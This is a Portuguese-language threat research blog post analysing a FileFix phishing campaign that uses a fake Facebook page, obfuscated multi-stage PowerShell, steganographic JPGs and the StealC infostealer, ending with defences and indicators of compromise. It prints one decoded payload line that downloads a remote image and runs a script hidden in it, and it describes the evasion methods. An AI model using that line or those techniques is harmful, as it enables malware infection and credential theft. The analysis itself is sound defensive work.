FileFix à solta! Nova campanha do FileFix vai além do POC e utiliza esteganografia

Autor: Eliad Kimhy

• Primeiro uso sofisticado do FileFix que vai além da POC: Pesquisadores da Acronis descobriram um raro exemplo real de uma campanha do FileFix ativa no primeiro exemplo de um ataque desse tipo que não segue estritamente o design da prova de conceito (POC) original.

• Aumento dos ataques *Fix e de suas variantes: nos últimos meses, os ataques do ClickFix aumentaram mais de 500%, e novas variantes do ClickFix foram desenvolvidas, como o FileFix. O FileFix foi teorizado e desenvolvido como uma POC no início de julho pelo pesquisador Mr. d0x.

• Infraestrutura de phishing sofisticada: a campanha observada usa um site de phishing altamente convincente e multilíngue (por exemplo, uma página falsa de segurança do Facebook), com técnicas de antianálise e ofuscação avançadas para evitar a detecção.

• Esteganografia utilizada para ocultar código mal-intencionado: o ataque emprega esteganografia de forma única, incorporando tanto um script do PowerShell de segundo estágio quanto cargas executáveis criptografadas em imagens JPG aparentemente inofensivas. Essas imagens são baixadas pela carga inicial e analisadas para extrair e executar componentes mal-intencionados, o que torna a detecção mais desafiadora.

• Cargas úteis em vários estágios com ofuscação e evasão em camadas: a cadeia de infecção é construída em torno de um sistema de entrega de cargas úteis em vários estágios, começando com um comando do PowerShell altamente ofuscado que fragmenta e codifica seus componentes para evitar a detecção. Estágios subsequentes descriptografam, descompactam e executam cargas úteis adicionais com técnicas como construção de comando baseada em variáveis, codificação Base64 e URLs criptografadas, todas projetadas para maximizar a ocultação e contornar controles de segurança.

• A carga útil final entrega o infostealer StealC: o estágio final implanta um carregador (escrito em Go, com verificações de VM/sandbox e criptografia de strings) que executa o infostealer StealC, visando navegadores, carteiras de criptomoedas, aplicativos de mensagens e credenciais de nuvem. O StealC também é capaz de carregar malware adicional.

• Evolução rápida e ataque global: a campanha evoluiu rapidamente nas últimas duas semanas, com muitas variantes e cargas úteis observadas. Uma taxa cada vez maior de detecções relacionadas à campanha indica que o ataque pode estar se acelerando. A infraestrutura e o suporte a vários idiomas indicam uma estratégia de ataque global, com suspeitas de que haja vítimas em inúmeros países.

No início da semana passada, pesquisadores da Unidade de Pesquisa de Ameaças da Acronis descobriram um exemplo raro de ataque do FileFix em ambiente real — uma nova variante do vetor de ataque ClickFix, agora notório. O ataque descoberto não apenas utiliza o FileFix, mas, até onde sabemos, é o primeiro exemplo de um ataque desse tipo que não segue estritamente o design da prova de conceito (POC) originaldemonstrated by Mr. d0x, de julho de 2025. Além disso, o ataque apresenta um site de phishing sofisticado e uma carga, de muitas maneiras à frente do que esperávamos dos ataques de ClickFix ou FileFix vistos no passado (com algumas exceções notáveis).

Essa pesquisa não é apenas um exemplo fascinante de como uma POC pode ser rapidamente transformada em um vetor de ataque (e de como é importante manter-se atualizado sobre esse tipo de pesquisa), mas também é um exemplo formidável de um ataque de *Fix, seja ele ClickFix ou FileFix. O autor do ataque demonstrou um investimento significativo em técnicas, engenharia cuidadosa da infraestrutura de phishing, entrega da carga e elementos de suporte para maximizar a evasão e o impacto. Isso representa uma das instâncias de ataque de *Fix mais sofisticadas que nossa equipe observou até hoje.

Muitas das técnicas usadas no ataque podem ser efetivamente usadas para qualquer ataque de ClickFix ou FileFix e, portanto, devem estar no radar daqueles que se preocupam com o aumento dos ataques de *Fix. Elas incluem um site de phishing que incorpora mecanismos de antianálise, como renomeação de funções e minificação, bem como iscas multilíngues, juntamente com uma carga personalizada do PowerShell que recupera um script de segundo estágio e um executável de uma imagem JPG via esteganografia e ofusca sua atividade com o uso de variáveis. Os três últimos itens são bastante incomuns no contexto de ClickFix e FileFix, e a esteganografia, em particular, não é algo que tenhamos observado sendo entregue diretamente por meio de uma carga *Fix.

Neste blog, apresentamos a você uma análise completa e detalhada do ataque, para ajudar as equipes de segurança a detectar e mitigar ataques de *Fix.

Ataques de AllFix ou *Fix são o nome coletivo dado a um grupo de técnicas de ataque que inclui ClickFix, FileFix, PromptFix e outras variantes, que parecem estar surgindo em um ritmo alarmante nos últimos meses.

A ideia principal por trás desse tipo de técnica é enganar a vítima para que ela faça o trabalho sujo do invasor; ou seja, a vítima é solicitada a copiar e colar a carga do invasor em seu próprio terminal (ou outras partes aplicáveis do sistema operacional, como a caixa de diálogo Executar do Windows) e, em seguida, executá-la por vontade própria. Em essência, é o equivalente em cibersegurança a um batedor de carteiras perguntando de forma educada à sua vítima se ela poderia simplesmente entregar sua carteira, as chaves de casa e do carro, em vez de se dar ao trabalho de tentar roubá-las.

O motivo pelo qual alguém faria isso depende do tipo de ataque e da engenharia social utilizada. O tipo mais comum de ataque de *Fix, o ClickFix, pede ao usuário que realize um teste CAPTCHA falso, mas, em vez de uma quantidade interminável de semáforos e bicicletas a serem identificados, as vítimas recebem uma instrução simples: pressione Win+R para abrir a caixa de diálogo Executar do Windows, cole um comando com Ctrl+V (geralmente oculto atrás de um texto como "Eu não sou um robô") e pressione Enter. "Que simples e prático", o usuário pode pensar, momentos antes de sua máquina ser infectada por um ladrão de informações , ransomware ou qualquer outro tipo de malware.

Por mais improvável que esse vetor de ataque possa parecer, o ClickFix tem crescido nos últimos meses e tem sido usado em ataques de vários graus de complexidade e intenção, desde os mais simples ladrões até cavalos de Troia de acesso remoto usados por nações. Gostaria de poder afirmar que esses tipos de ataques dependem exclusivamente de engenharia social altamente sofisticada (alguns dependem, é claro). No entanto, muitos outros simplesmente dizem: “Ei, usuário, abra o terminal e cole este comando para ... hã ... provar que você é humano”. É engenhoso? Não. Funciona? Parece que sim. Talvez esse seja outro exemplo de criação de uma solução para um problema (medidas para bots e antibots), que então leva a outro problema (medidas antibots tão complicadas e cansativas que colar um comando no terminal parece aceitável ou mais simples).

O FileFix é um pouco diferente do ClickFix comum e, no nosso caso, também é um ataque de engenharia social bastante convincente. Um ataque de FileFix dispensa a tentativa de fazer com que o usuário abra o terminal ou a caixa de diálogo Executar por meio dos atalhos de teclado Win + R. Em vez disso, um ataque de FileFix aproveitará a funcionalidade de carregamento de arquivos em HTML para criar um botão de carregamento. Em situações benignas, ao ser pressionado em um ambiente Windows, o botão de carregamento de arquivos abrirá uma janela do Explorador de Arquivos e permitirá que o usuário carregue arquivos em um site. No entanto, em um ataque de FileFix, o usuário é induzido a colar um comando mal-intencionado na barra de endereços do Explorador de Arquivos, que será executado localmente na máquina do usuário. Isso oferece aos invasores uma vantagem potencial sobre os ataques de ClickFix comuns, que discutiremos mais adiante no blog.

Como mencionado, o ataque gira em torno de um site de phishing. Com base em outros exemplos de ClickFix e em pistas contextuais do próprio site de phishing, é provável que a vítima seja levada ao site de phishing por meio de um e-mail de phishing. Nesse e-mail, é provável que o invasor esteja se passando pela segurança do Facebook, informando a vítima sobre o fechamento iminente de uma conta e recomendando que tome medidas acessando o site de phishing.

Uma vez no site de phishing, a vítima se depara com uma perspectiva sombria: sua conta foi denunciada e será suspensa em sete dias (o invasor até fornece a data em que a conta será suspensa). E, o que é pior, se nenhuma ação for tomada em 180 dias, a conta será removida. A vítima tem então a opção de recorrer, ali mesmo na página. Que sorte!

Quando a vítima decide recorrer, é informada de que um arquivo PDF foi compartilhado com ela pela equipe da Meta. Para visualizar o arquivo e, nele, as instruções para recorrer da suspensão, é solicitado que ela “abra o Explorador de Arquivos” e cole o caminho do arquivo PDF. Mas, infelizmente, o "Explorador de Arquivos" que ela abriu é uma janela de carregamento de arquivo, e o caminho que ela colou na barra de endereço é uma carga. Ao terminar de ser executada, a carga gera um alerta que diz: “Nenhum arquivo encontrado”. Quando pressionado, o botão Continuar na página gera um erro semelhante, que diz: “Complete as etapas”. Assim, a vítima fica sem arquivo e sem a possibilidade de continuar a recorrer.

Enquanto isso, em segundo plano, a carga executa um script do PowerShell em vários estágios. Esse script faz o download de uma imagem, a decodifica em um segundo estágio e, em seguida, usa tanto o script quanto a mesma imagem para descriptografar e descarregar um executável, que, por sua vez, entrega um shellcode adicional. As seções a seguir detalham a cadeia de ataque completa.

Ao longo de nossa investigação, algo ficou claro rapidamente: do início ao fim, os invasores por trás dessa ameaça empenharam-se em todos os aspectos do ataque. Isso vale não apenas para os vários scripts ofuscados e cargas criptografadas, mas também para o próprio site de phishing que inicia o ataque.

Aqui, o FileFix faz uma de suas primeiras aparições fora de uma POC. Outros exemplos surgiram nas semanas seguintes à publicação do blog original de Mr. d0x sobre a técnica, mas, em sua maior parte, esses exemplos parecem ser experimentos ou testes; um deles é uma cópia exata da POC de Mr. d0x e o outro parece ser uma variação da POC. Ambos os exemplos são interessantes e notáveis, mas a técnica é dificilmente distinguível de um site de ClickFix comum.

No entanto, quando liberado da rotina tradicional de CAPTCHA que é usada por tantos sites de ClickFix, o FileFix pode mostrar todo o seu potencial. A escolha de uma página de segurança do Facebook cria uma isca de engenharia social convincente. E, embora não faltem ataques de ClickFix que também se aproveitam de pretextos criativos como esse, o FileFix parece ser um pouco menos invasivo e, portanto, pode ser mais persuasivo. Afinal, muitos usuários nunca abriram uma janela de terminal em suas vidas, mas quem nunca usou a janela de carregamento de arquivos pelo menos uma vez?

Do ponto de vista técnico, o FileFix apresenta várias diferenças em relação ao ClickFix. Por um lado, a janela de carregamento de arquivos que o FileFix exige provavelmente estará disponível para a maioria dos usuários, na maioria dos ambientes, enquanto um usuário pode ser impedido de acessar seu terminal ou a caixa de diálogo Executar, o que reduz a eficácia do ClickFix. Por outro lado, um dos itens que tornam o ClickFix tão difícil de detectar é que ele é iniciado por meio do Explorer.exe, via caixa de diálogo Executar ou diretamente em um terminal, enquanto a carga do FileFix é executada pelo navegador da Web usado pela vítima, o que é muito mais provável de se destacar em uma investigação ou para um produto de segurança. Fora isso, as duas técnicas são bastante similares.

A parte interessante (ou seja, mal-intencionada) do site de phishing é escrita em JavaScript e apresenta muitos elementos de ofuscação, bem como alguns recursos destinados a aumentar o alcance e o sucesso do ataque.

À primeira vista, o site parece completamente normal. De fato, quando ele apareceu pela primeira vez em nosso radar, poderíamos tê-lo considerado um falso positivo: nenhuma das palavras do CAPTCHA estava lá, um sinal infalível do ClickFix. Porém, uma análise mais detalhada revelou resultados surpreendentes. De fato, este site era mal-intencionado, e o script inteiro foi minificado: de aproximadamente 18.000 linhas presentes no script, foi reduzido a cerca de 12 linhas.

O site apresenta forte ofuscação e foi escrito implementando várias técnicas antianálise. Os nomes de variáveis e funções são compostos por combinações aleatórias de letras, e o código é fragmentado e espalhado por todo o script. O código morto e a desorientação são abundantes. Não nos entenda mal: embora isso não seja padrão para sites de ClickFix, essa é uma técnica bastante comum para malware baseado em JavaScript. No entanto, em nosso caso, a ofuscação revelou-se difícil de desvendar, obrigando-nos a analisar milhares de linhas de código, variáveis e funções (como provavelmente pretendiam os autores do site). Isso torna a experiência desafiadora, e não podemos ter certeza de que descobrimos tudo o que esse código reserva.

No entanto, conseguimos encontrar traduções para 16 idiomas, incluindo árabe, russo, hindi, japonês, polonês, alemão, espanhol, francês, malaio, urdu e outros. Muito trabalho foi dedicado à criação do site, e a intenção aqui é clara: maximizar o alcance do ataque.

Descobrimos muitas variantes do mesmo site, todas ativas nas últimas duas semanas, e cada uma com cargas ligeiramente diferentes, técnicas e arquivos diversos e, às vezes, variações do pretexto de engenharia social. Ao analisarmos as versões anteriores do site, é possível rastrear a evolução do ataque, tanto do ponto de vista de engenharia social quanto técnico. Parece que, nesse caso também, o grupo por trás disso está trabalhando lentamente para aperfeiçoar sua metodologia.

A carga é entregue como uma única linha de código: um comando do PowerShell parcialmente ofuscado em Base64 e fragmentado de maneira semelhante ao código JavaScript usado para o site de phishing. É um método de entrega de uma complexidade incomum para um ataque de tipo *Fix. A maioria das cargas que observamos estava em texto simples, algumas com ofuscação parcial, mas nenhuma tão complexa quanto essa. No contexto de um ataque de tipo FileFix, essa é uma abordagem única e excepcionalmente complexa, e torna-se um interessante tema de pesquisa.

De todos os estágios deste ataque, esse script de carga inicial é nossa parte favorita. Enquanto a vítima enfrenta a tragédia de ter sua conta do Facebook excluída e cola o comando mal-intencionado na barra de endereços do local de carregamento do arquivo, aguardando para ver o “Relatório de incidente” que esclarecerá o processo de apelação, várias ações ocorrem em segundo plano — e tudo começa com uma imagem.

Imagine uma cena idílica: uma bela casa em um campo, margaridas em primeiro plano; uma foto macro de um caracol sobre folhas orvalhadas de manhã. Cada carga (dentre as várias que documentamos até agora) começa como uma dessas imagens. Mas esses arquivos JPG não são simplesmente distribuídos devido à apreciação pelas artes. Cada imagem contém um script do PowerShell de segundo estágio e uma carga executável. Cada imagem é ligeiramente diferente, e as cargas diferem entre as várias versões do site. As imagens parecem ter sido geradas por inteligência artificial (embora não possamos ter certeza). É um tanto absurdo imaginar que os autores do ataque tenham solicitado uma “cena serena de uma casa na pradaria” apenas para poder injetar código mal-intencionado nela. Mas esses são os tempos em que vivemos, ou pelo menos é o que parece.

Mas vamos fazer uma pausa e refletir um pouco. A carga inicial, aquela que o usuário está voluntariamente inserindo na barra de endereços de carregamento de arquivos e executando, parece algo assim:

Alguns detalhes a observar:

1.      Para enganar o usuário e fazê-lo acreditar que está colando o caminho para um arquivo PDF de “incidente”, o invasor colocou uma variável no final da carga, que contém muitos espaços e o caminho falso no final. Isso é feito para que apenas o caminho do arquivo apareça na barra de endereços, e nenhum dos comandos mal-intencionados reais. Em um ataque de ClickFix comum, isso é feito usando o símbolo # em vez de uma variável, que é interpretado pelo PowerShell como um comentário de desenvolvedor. Isso resulta em uma vantagem involuntária, já que qualquer pessoa que tenha configurado suas detecções para procurar o símbolo # do ClickFix provavelmente não vai notar isso.

2.      Esse é um comando notavelmente grande, muito maior do que a carga média do ClickFix. Ele não só inclui uma carga codificada em Base64, mas também dividiu todas as classes e namespaces usados no script em vários componentes menores e os armazenou como variáveis. Essas variáveis são então invocadas para reconstruir o comando completo. Isso melhora significativamente a capacidade do script de se esquivar da detecção que se baseia em padrões para determinar a má intenção.

3.      O invasor usa o BitBucket para entregar a imagem usada no ataque. Ao observarmos a evolução da carga nas últimas duas semanas, vemos que o invasor está migrando de domínios mal-intencionados que ele controla, como elprogresofood[.]COM, para hospedagem principalmente no BitBucket. Isso permite que o invasor evite a detecção e elimina a necessidade de continuar a registrar e gerenciar domínios mal-intencionados.

Como se a esteganografia, a ofuscação e a fragmentação de comandos não fossem suficientes, o invasor foi ainda mais longe e criptografou o URL em algumas variantes da carga. O URL é criptografado por meio de uma operação XOR, usando uma chave codificada em bytes hexadecimais e codificada na carga. O URL criptografado resultante é descriptografado e codificado durante a execução.

No bit codificado em Base64, está o cerne da carga:

$p_fist=-join($env:TEMP,'\zd746f1ce1c0.jpg'); Invoke-WebRequest -Uri $u -Method Get -OutFile $p_fist -ErrorAction Ignore; $image_bytes=$ifr.Invoke($p_fist); $p_bytes=$image_bytes[1101253..($image_bytes.Length-1)]; $e.GetString($p_bytes)|iex;

Aqui, o script baixa a imagem para a pasta Temp da vítima e, em seguida, extrai um script do PowerShell de segundo estágio que é armazenado em um Índice específico no arquivo de imagem. Uma vez extraído e convertido em string, ele é executado como um script.

O script do segundo estágio tem a função de extrair uma carga mal-intencionada da imagem. Sim, voltamos mais uma vez à adorável cena pastoral para obter a carga. Diferentemente do script do segundo estágio, que é armazenado na imagem em texto simples (e, portanto, é detectável, embora o arquivo de imagem em si não seja mal-intencionado e, por isso, não acione nenhum alerta), as cargas executáveis são criptografadas na imagem. O script do segundo estágio começa configurando duas funções: uma para descriptografar os arquivos usando RC4 e outra para descompactar os arquivos usando gzip.

Depois que essas funções são definidas, o script começa a extrair o(s) arquivo(s):

O script é capaz de entregar mais de um arquivo e pode entregar tanto DLLs quanto executáveis. Depois que os índices são fornecidos para o ponto de início e o ponto final de cada arquivo na imagem, o script começa o processo de extração e descriptografia de cada arquivo, identificando a extensão e executando cada arquivo da maneira apropriada (para que, por exemplo, não execute um arquivo DLL). Cada arquivo EXE é executado via conhost.exe e, depois, excluído após 12 minutos. Por fim, uma mensagem de erro falsa é exibida, informando à vítima que “Não é possível abrir o arquivo!”.

O que nos leva de volta ao início. Do ponto de vista do usuário, tudo o que aconteceu foi que ele colou o caminho do arquivo, conforme instruído. Em seguida, alguns momentos depois, ele recebe uma mensagem de erro informando que o arquivo não pôde ser aberto. No site de phishing, ele não pode prosseguir até que tenha aberto o arquivo. Basicamente, ele está preso. Enquanto isso, nos bastidores, uma carga foi descarregada e carregada em sua máquina.

Pode haver várias razões pelas quais o invasor optou por dividir seu script em dois estágios. Por um lado, incorporar o segundo estágio no arquivo de imagem permite que o invasor tenha mais flexibilidade para alterar os arquivos que são baixados sem alterar a carga no site de phishing. Outra razão pode estar relacionada à evasão, pois a redução do tamanho do comando codificado em Base64 pode atrair menos atenção.

De modo geral, essa cadeia de scripts é única no cenário de cargas do *Fix. A abordagem proporciona ao invasor maior discrição do que o usual, demonstrando um esforço claro para evitar a detecção e garantindo que a carga seja flexível o suficiente para distribuir uma ampla gama de malware em diferentes cenários. A esteganografia usada é interessante de muitas maneiras e não é comumente vista, especialmente no âmbito dos ataques de *Fix. Ela oferece ao invasor uma camada adicional de ocultação, pois os defensores podem não suspeitar que um arquivo de imagem esteja sendo baixado, e isso pode não disparar nenhum alarme. Tudo isso resulta em uma infecção complexa e sofisticada, especialmente quando comparada a outros ataques que utilizam ClickFix e FileFix. 

E, agora, a carga; o que realmente importa; a peça central! Bem, nesse caso, talvez, nem tanto. Não nos entenda mal: é um carregador interessante, escrito em Go e empregando verificações de VM e técnicas de ofuscação, e, finalmente, descriptografando e carregando um shellcode na memória. Esse shellcode descompacta o StealC, um coletor de informações popular e eficiente que também pode ser usado para download e como carregador em caso de necessidade. Não é nada mal, mas esperávamos mais, e talvez mais *esteja* por vir. Nas últimas duas semanas, vimos a carga evoluir, crescer e mudar, e, por enquanto, a metodologia do ataque parece continuar a se transformar.

Mas vamos por partes. Uma vez executada pelo script de armazenamento distribuído de segundo estágio, a carga útil inicia um teste de sandbox para verificar se está sendo executada em uma VM. Isso acaba sendo uma verificação bastante básica: a carga descriptografa uma lista de nomes de placas de vídeo comumente usadas em VMs e ambientes de sandbox. Em seguida, ela chama a função EnumDisplayDevicesA e verifica cada dispositivo em relação à lista de placas de vídeo bloqueadas. Felizmente para nós, essa verificação pode ser facilmente burlada.

Como uma observação rápida, todas as strings executadas pelo carregador são criptografadas, incluindo os nomes de cada chamada de API. O carregador tem várias funções dedicadas a obter os nomes de chamadas de API, como EnumDisplayDevicesA, NtAllocateVirtualMemory e assim por diante. Ironicamente, o único item que não é criptografado (pelo menos no momento da redação deste artigo) são os próprios nomes das funções que descriptografam e armazenam os nomes das chamadas de API na memória, convenientemente chamadas de getNtAllocateVirtualMemory, getEnumDisplayDevicesA e assim por diante. Não é exagero pensar que estamos vendo um trabalho em andamento, pois os invasores certamente se empenharão em aprimorar as capacidades desse carregador no futuro e, talvez, anexar uma carga diferente no final.

Finalmente, depois que a verificação da VM é aprovada (ou ignorada), o carregador descriptografa e carrega o shellcode que, então, leva a uma infecção pelo StealC. Por sua vez, o StealC coleta informações do ambiente do usuário, incluindo senhas, informações de navegadores da Web, aplicativos de jogos e bate-papo populares e dados de criptomoedas, e as envia de volta ao invasor.

Em nossa análise, o StealC tenta roubar informações de uma longa lista de programas: navegadores como Chrome, FireFox, Opera, Explorer, QQ Browser, Quark, UC Browser, Sogou Explorer e Maxthon. Ele procura por carteiras de criptomoedas, como Bitcoin, Dogecoin, Ravencoin, Daedalus, Mainnet, Blockstream Green, Wasabi Wallet, Ethereum, Electrum, Electrum-LTC, Ledger Live, Exodus, Electron Cash, MultiDoge, Jaxx Liberty, Atomic Wallet, Binance, Coinomi e Guarda. Além disso, ele procura informações em aplicativos de mensagens, VPN e banco de dados, como Thunderbird, Telegram, Discord, Tox, Pidgin, Ubisoft Game Launcher, Battle.net, OpenVPN e ProtonVPN, bem como chaves da Azure e AWS.

Durante nossa investigação, descobrimos várias iterações do ataque, que remontam a duas semanas. Por meio dessas iterações, podemos traçar a evolução tanto da técnica de engenharia social quanto dos aspectos mais técnicos do ataque. Talvez isso seja um indício de que um invasor esteja testando uma infraestrutura que planeja usar no futuro, ou talvez sejam iterações adicionadas ao ataque no meio da campanha, à medida que o invasor aprende a se adaptar e a melhorar.

Em duas semanas, observamos a evolução da carga. De uma carga do PowerShell de um único estágio, que incluía o script inteiro, inclusive as partes que extraem e descriptografam a carga executável, vimos que ela se transformou no script de dois estágios que observamos hoje e, em seguida, evoluiu para incluir uma lista potencial de arquivos .exe e .dll a serem descarregados. No entanto, durante todo esse tempo, e desde o início, a esteganografia foi um ingrediente-chave do ataque. A última iteração do ataque parece carregar todo o script de primeiro estágio de um arquivo .log hospedado no Bitbucket, com o restante do ataque permanecendo inalterado.

As cargas executáveis também mudaram. Ataques mais antigos entregavam binários ofuscados do OLLVM em vez do carregador de shellcode Go que descrevemos.

Finalmente, o aspecto de engenharia social do ataque também mudou ligeiramente. A intenção original era que o usuário carregasse sua identidade para evitar a exclusão da conta, e o arquivo que ele era solicitado a visualizar simplesmente continha instruções sobre como carregar sua identidade no site. Isso mudou nas iterações posteriores, tornando-se um documento que detalha as supostas violações da vítima, embora, estranhamente, tenha sido mantida a menção sobre a necessidade de que o usuário carregue sua identidade.

Isso implica em uma infraestrutura em evolução, que continua tentando aperfeiçoar o uso do FileFix e seu script de dois estágios associado, permanecendo flexível o suficiente para inserir qualquer carga na máquina da vítima. Continuaremos tentando rastrear essa ameaça na esperança de aprender mais no futuro.

Uma investigação dos envios ao VirusTotal (VT) de arquivos e sites de phishing associados a esse ataque sugere que a campanha não está limitada a um país ou localidade. Embora longe de ser uma conclusão definitiva, podemos observar o envio de ferramentas e sites de phishing ao VT dos Estados Unidos, Bangladesh, Filipinas, Tunísia, Nepal, República Dominicana, Sérvia, Peru, China, Alemanha e outros. Isso, juntamente com as várias traduções de idiomas no site de phishing, pode indicar que o ataque se destina a atingir vítimas em todo o mundo.

Da mesma forma, a identidade do invasor é difícil de ser determinada. Descobrimos que o endereço C2 principal, 77[.]90[.]153[.]225, está localizado na Alemanha. No entanto, por si só, esse fato não é suficiente para determinar com precisão a identidade ou o local do invasor. As técnicas utilizadas e a complexidade da entrega da carga, que inclui vários estágios, esteganografia, ofuscação e criptografia, apontam para um invasor mais sofisticado e organizado.

Já vimos o ClickFix passar do estágio de POC para ataques reais, e, nos últimos meses, crescer em popularidade. Agora estamos vendo a mesma tendência com o FileFix: do estágio de POC para uma campanha em cerca de dois meses. Além disso, o ataque é realizado de maneira altamente sofisticada, com uma infinidade de técnicas de ofuscação e antianálise destinadas a permitir que ele passe despercebido e cause o máximo impacto possível.

À medida que continuarmos a observar a evolução da campanha, também continuaremos a procurar desenvolvimentos na infraestrutura de ataque e na metodologia e na carga e tentar obter uma visão da identidade dos invasores. Este ataque e o uso inteligente do FileFix nos fazem questionar como o uso do FileFix evoluirá no futuro e se ele substituirá ou superará o ClickFix como técnica de ataque. Até lá, continuaremos a rastrear essa campanha e outras semelhantes e a fornecer recomendações que devem ajudar as equipes de segurança a se defender contra elas.

Os clientes do Acronis XDR estão protegidos contra o ataque. O Acronis XDR detecta o ataque tanto no momento em que a carga do PowerShell é executada quanto no momento em que o executável da carga é iniciado.

Quando se trata de lidar com esse ataque, e com o FileFix em particular, há duas recomendações importantes.

A primeira é a educação. Nos últimos anos, os usuários têm se tornado cada vez mais conscientes dos ataques de phishing, mais especificamente, aqueles realizados por meio de documentos anexados. Para que os ataques de *Fix não se tornem um ponto cego na consciência dos usuários sobre os ataques de phishing, devemos começar a educá-los sobre esses tipos de ataques e incluir isso no treinamento corporativo para ataques de phishing. Pelo menos, isso deve fazer com que os usuários pensem duas vezes antes de seguir esse tipo de instrução. Em particular, o treinamento deve se concentrar no uso da área de transferência, um elemento comum dos ataques de *Fix, e os usuários devem ser avisados sobre qualquer site que peça que colem algo em qualquer parte do sistema operacional.

A segunda recomendação é bloquear o caminho de execução desse ataque. As equipes de segurança devem estar atentas e tentar impedir a execução de qualquer processo filho do PowerShell, CMD, MSIEXEC ou MSHTA que seja gerado por um navegador na máquina. Essa medida não deve causar muita interrupção nas operações comerciais normais, mas impedirá a inicialização desse ataque.

Outra técnica de prevenção possível poderia ser direcionar qualquer imagem baixada por meio de um comando do PowerShell. Se o download da imagem puder ser impedido ou a imagem puder ser colocada em quarentena rapidamente, o ataque será interrompido antes que a carga seja inserida.

70AE293EB1C023D40A8A48D6109A1BF792E1877A72433BCC89613461CFFC7B61

06471E1F500612F44C828E5D3453E7846F70C2D83B24C08AC9193E791F1A8130

08FD6813F58DA707282915139DB973B2DBE79C11DF22AD25C99EC5C8406B234A

2654D6F8D6C93C7AF7B7B31A89EBF58348A349AA943332EBB39CE552DDE81FC8

FD30A2C90384BDB266971A81F97D80A2C42B4CEC5762854224E1BC5C006D007A

1D9543F7C0039F6F44C714FE8D8FD0A3F6D52FCAE2A70B4BC442F38E01E14072

1801DA172FAE83CEE2CC7C02F63E52D71F892D78E547A13718F146D5365F047C

7022F91F0534D980A4D77DF20BEA1AE53EE02F7C490EFBFAE605961F5170A580

B3CE10CC997CD60A48A01677A152E21D4AA36AB5B2FD3718C04EDEF62662CEA1

77[.]90[.]153[.]225

facebook[.]meta-software-worldwide[.]com

facebook[.]windows-software-downloads[.]com

facebook[.]windows-software-updates[.]cc

facebook[.]windows-software-updates[.]com

elprogresofood[.]com

mastercompu[.]com

thanjainatural[.]com

Bitbucket[.]org/pibejiloiza/

Bitbucket[.]org/brubroddagrofe/

Bitbucket[.]org/creyaucuronna-4413/

Grabify[.]link/5M6TOW